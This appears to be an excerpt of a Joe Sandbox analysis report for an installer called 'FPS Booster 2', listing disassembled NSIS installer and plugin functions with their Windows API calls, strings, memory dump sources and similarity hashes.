Function 6FFB1791 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 77
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000000), ref: 6FFB17D8
GetWindowRect.USER32(00000000,?), ref: 6FFB17E3
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 6FFB17F3
CreateDialogParamW.USER32(00000001,?,6FFB14FC,00000000), ref: 6FFB1808
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014), ref: 6FFB183B
SetWindowLongW.USER32(?,00000004,6FFB142D), ref: 6FFB1849
GetProcessHeap.KERNEL32(00000008,00000000), ref: 6FFB1863
HeapAlloc.KERNEL32(00000000), ref: 6FFB186A

Part of subcall function 6FFB1E83: GlobalAlloc.KERNELBASE(00000040,?,?,6FFB1061,error,?,00000104,?,00000400), ref: 6FFB1E99
Part of subcall function 6FFB1E83: lstrcpynW.KERNEL32(00000004,00000104,?,6FFB1061,error,?,00000104,?,00000400), ref: 6FFB1EAF

Strings

error, xrefs: 6FFB1817

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: Window$AllocHeap$CreateDialogGlobalItemLongParamPointsProcessRectlstrcpyn
String ID: error
API String ID: 1928716940-1574812785
Opcode ID: 588f22a66060cd0ad16021208abaed04c10e3ce97eb2e8b0d2d7f76a7d0b7a8e
Instruction ID: 3dd3985a9bae286674c8705e54a605b37a4a0be389e6d172a0a58bee8a537a1b
Opcode Fuzzy Hash: 588f22a66060cd0ad16021208abaed04c10e3ce97eb2e8b0d2d7f76a7d0b7a8e
Instruction Fuzzy Hash: C2211C71964614EFCF11EFA5D989F6E7F78FB4A3A4B00400DF60592360D731A520DB60

Function 004023F0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 83
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040241C
LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
KiUserCallbackDispatcher.NTDLL(?,00002004,0047F000,0040C0E0,`G,?,?,?,00000008,00000001,000000F0), ref: 00402485

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426D70,76F923A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
`G, xrefs: 0040246E
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSendlstrlen$Library$CallbackDispatcherFreeHandleLoadModuleTextUserWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 2832544771-4193110038
Opcode ID: 11ea408b33ed6810e24fd29753fd71f986e360d3f253baf971bc2a7019b5048c
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: 11ea408b33ed6810e24fd29753fd71f986e360d3f253baf971bc2a7019b5048c
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 6E9E28A3 Relevance: 13.6, APIs: 9, Instructions: 147
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?), ref: 6E9E2958
GlobalAlloc.KERNEL32(00000040,?), ref: 6E9E2985
lstrcpynW.KERNEL32(00000000,?), ref: 6E9E2998
GlobalAlloc.KERNEL32(00000040,00000010), ref: 6E9E29B4
CLSIDFromString.OLE32(00000000,00000000), ref: 6E9E29C1
GlobalFree.KERNEL32(00000000), ref: 6E9E29C8
GlobalAlloc.KERNEL32(00000040), ref: 6E9E29D8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6E9E29EF
GlobalFree.KERNELBASE(00000000), ref: 6E9E2A19

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: Global$Alloc$Free$ByteCharFromMultiStringWidelstrcpynlstrlen
String ID:
API String ID: 916651646-0
Opcode ID: 08d616eb5104f71b95d814dce19d5c1954683e1c7d4bd7a80a852a039cc8cc63
Instruction ID: 8f80906c007a3bec1c323196550e53ba38806787892137bd2b39f7fdc548891d
Opcode Fuzzy Hash: 08d616eb5104f71b95d814dce19d5c1954683e1c7d4bd7a80a852a039cc8cc63
Instruction Fuzzy Hash: 00418AB1508206AFE762CFA5C848A6A77FCFF46322B100D59E756E7991D730D444CF61

Function 6FFB1C7C Relevance: 12.1, APIs: 8, Instructions: 51
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,0000040D,00000000), ref: 6FFB1C94
ShowWindow.USER32(00000008), ref: 6FFB1CA2
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 6FFB1CBE
IsDialogMessageW.USER32(?), ref: 6FFB1CCE
IsDialogMessageW.USER32(?), ref: 6FFB1CDE
TranslateMessage.USER32(?), ref: 6FFB1CE8
DispatchMessageW.USER32(?), ref: 6FFB1CF2
SetWindowLongW.USER32(?,00000004), ref: 6FFB1D0C

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: Message$DialogWindow$CallbackDispatchDispatcherLongSendShowTranslateUser
String ID:
API String ID: 4159918924-0
Opcode ID: cc74dcbc2237ee50e242f0708eab917acf32ddb5ca901f190785816f8e34a796
Instruction ID: e0f4434b581fe6902f0a6e55f69541b69a9f059c795a1c4cd2237c682c394268
Opcode Fuzzy Hash: cc74dcbc2237ee50e242f0708eab917acf32ddb5ca901f190785816f8e34a796
Instruction Fuzzy Hash: 5E115B72960909EBCF009FA1ED89F9A3F7EFF467A4B004025FA1191234E730A426CB60

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNELBASE(00000000), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C
Show, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$Show
API String ID: 1459762280-1347343861
Opcode ID: dcf528aa7861a26f6c92768877dcdc2065be54f54d8d6e98b78a34fa813ca885
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: dcf528aa7861a26f6c92768877dcdc2065be54f54d8d6e98b78a34fa813ca885
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNELBASE(00000000), ref: 00402387

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 6E9E2A4F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 6E9E1C1B: GlobalFree.KERNEL32(?), ref: 6E9E1E69
Part of subcall function 6E9E1C1B: GlobalFree.KERNEL32(?), ref: 6E9E1E6E
Part of subcall function 6E9E1C1B: GlobalFree.KERNELBASE(?), ref: 6E9E1E73

GlobalFree.KERNEL32(00000000), ref: 6E9E2AFA
FreeLibrary.KERNEL32(?), ref: 6E9E2B71
GlobalFree.KERNEL32(00000000), ref: 6E9E2B96

Part of subcall function 6E9E23C1: GlobalAlloc.KERNEL32(00000040,00000000), ref: 6E9E23F3

Part of subcall function 6E9E25B2: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,?,6E9E2ACB,00000000), ref: 6E9E2611

Part of subcall function 6E9E1904: lstrcpyW.KERNEL32(00000000,error,00000000,6E9E287B,00000000), ref: 6E9E1929

Part of subcall function 6E9E2445: wsprintfW.USER32 ref: 6E9E24E8
Part of subcall function 6E9E2445: GlobalFree.KERNEL32(?), ref: 6E9E2516
Part of subcall function 6E9E2445: GlobalFree.KERNEL32(00000000), ref: 6E9E253F

Strings

, xrefs: 6E9E2B77

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: a2a35e791d9e1092ef2f4420fcf87b79c7a04e2276452d92134279632c4dcc15
Instruction ID: 8279d55b20873834db8b5a470bd7b93262c8a6c0fdee49632a38897562994eca
Opcode Fuzzy Hash: a2a35e791d9e1092ef2f4420fcf87b79c7a04e2276452d92134279632c4dcc15
Instruction Fuzzy Hash: 513113B1004303EACF569FF598D4BEA3BACAF46318F044825EB15AB996DB74C484CF20

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 00405EFF Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,?,00406961,80000002,Software\Microsoft\Windows\CurrentVersion,?,Show,Show), ref: 00405F29
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406961,80000002,Software\Microsoft\Windows\CurrentVersion,?,Show,Show), ref: 00405F4B
RegCloseKey.ADVAPI32(?,?,00406961,80000002,Software\Microsoft\Windows\CurrentVersion,?,Show,Show), ref: 00405F72

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: e9468859d61dcce158ce22ede5d95f34131f4b6b0126778e464419491138bf2a
Instruction ID: d8ff75e547a89f66f52e3818bcd6474306829ed6582f4142105bf0ba28143ce7
Opcode Fuzzy Hash: e9468859d61dcce158ce22ede5d95f34131f4b6b0126778e464419491138bf2a
Instruction Fuzzy Hash: C501087525020AAADF21CF74DD05BDB3BA8EF18355F004426FA04E21A0E339D964DBA9

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 6E9E124C Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000), ref: 6E9E130B
GetLastError.KERNEL32 ref: 6E9E1412

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: ErrorImageLastLoad
String ID:
API String ID: 2189606529-0
Opcode ID: c11d6df1e5ed27f58a16eddfc365f9d334f729649cafc65e906bdab6e1054ece
Instruction ID: 5a511ddd5745f071100f32b9b20b2a74b3e2510cd1b2dc046570f87641487282
Opcode Fuzzy Hash: c11d6df1e5ed27f58a16eddfc365f9d334f729649cafc65e906bdab6e1054ece
Instruction Fuzzy Hash: E25172B6908605DFDB12DFE5D8807A937ACEF8A32AF204825DB04C7A40D735E9858E95

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

